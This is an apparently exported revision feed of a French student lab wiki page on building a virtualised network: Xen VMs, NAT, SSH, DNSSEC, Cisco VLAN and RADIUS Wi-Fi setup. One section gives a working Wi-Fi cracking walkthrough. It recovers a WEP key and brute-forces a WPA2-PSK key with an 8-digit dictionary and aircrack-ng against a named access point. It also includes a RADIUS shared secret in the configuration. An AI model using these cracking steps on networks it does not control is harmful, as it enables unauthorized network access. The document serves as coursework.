    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Vlan ==&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12268</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12268"/>
		<updated>2026-02-15T11:31:53Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
